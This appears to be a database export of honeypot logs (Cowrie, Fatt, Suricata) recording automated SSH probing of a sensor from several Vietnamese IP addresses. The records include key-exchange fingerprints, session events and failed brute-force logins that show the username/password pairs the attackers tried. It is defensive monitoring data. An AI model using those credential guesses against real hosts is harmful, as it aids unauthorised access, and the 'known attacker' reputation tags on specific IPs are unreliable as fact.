22401	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.120564+03	2021-09-20 14:15:05.105642+03	{"_id": "ZQbjAnwBvYTbRNuEQQWf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [mike/mike] failed", "session": "f6baa6edb2b0", "@version": "1", "password": "mike", "username": "mike", "timestamp": "2021-09-20T11:07:00.120564Z", "@timestamp": "2021-09-20T11:07:00.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22402	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:59.674124+03	2021-09-20 14:15:05.121612+03	{"_id": "fQbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d44b4683dc06", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:59.674124Z", "@timestamp": "2021-09-20T11:06:59.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22403	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:59.029854+03	2021-09-20 14:15:05.135613+03	{"_id": "hwbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58674, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.029854", "@timestamp": "2021-09-20T11:06:59.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22404	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:59.293742+03	2021-09-20 14:15:05.461612+03	{"_id": "iAbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52180, "timestamp": "2021-09-20T11:06:59.293742", "@timestamp": "2021-09-20T11:06:59.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22405	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:59.568322+03	2021-09-20 14:15:05.465612+03	{"_id": "iQbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52180, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.568322", "@timestamp": "2021-09-20T11:06:59.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22406	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:59.209804+03	2021-09-20 14:15:05.480613+03	{"_id": "igbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/liqi464866447] failed", "session": "3044d199986d", "@version": "1", "password": "liqi464866447", "username": "root", "timestamp": "2021-09-20T11:06:59.209804Z", "@timestamp": "2021-09-20T11:06:59.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22407	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:59.620949+03	2021-09-20 14:15:05.854538+03	{"_id": "iwbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "907cfc66644a", "@version": "1", "timestamp": "2021-09-20T11:06:59.620949Z", "@timestamp": "2021-09-20T11:06:59.620Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22408	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:59.815393+03	2021-09-20 14:15:05.869537+03	{"_id": "jAbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "28bf660714c4", "@version": "1", "duration": 2.763589382171631, "timestamp": "2021-09-20T11:06:59.815393Z", "@timestamp": "2021-09-20T11:06:59.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22409	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.880758+03	2021-09-20 14:15:05.884548+03	{"_id": "jQbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/Lospepes1] failed", "session": "d58939a7bd18", "@version": "1", "password": "Lospepes1", "username": "root", "timestamp": "2021-09-20T11:06:59.880758Z", "@timestamp": "2021-09-20T11:06:59.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
35472	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:50.311334+03	2021-09-20 15:15:03.306691+03	{"_id": "QAYbA3wBvYTbRNuE4FwD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:50.311334Z", "@timestamp": "2021-09-20T12:08:50.311Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
22410	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:00.773928+03	2021-09-20 14:15:05.887538+03	{"_id": "jwbjAnwBvYTbRNuERAUd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 971497633232034, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37584, "dest_port": 22, "timestamp": "2021-09-20T11:07:00.773928Z", "@timestamp": "2021-09-20T11:07:00.773Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22411	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:59.95396+03	2021-09-20 14:15:05.903539+03	{"_id": "kQbjAnwBvYTbRNuERAUe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1011569678087275, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45958, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.953960Z", "@timestamp": "2021-09-20T11:06:59.953Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22412	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:00.493135+03	2021-09-20 14:15:05.934538+03	{"_id": "kwbjAnwBvYTbRNuERQWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3044d199986d", "@version": "1", "duration": 2.7104227542877197, "timestamp": "2021-09-20T11:07:00.493135Z", "@timestamp": "2021-09-20T11:07:00.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
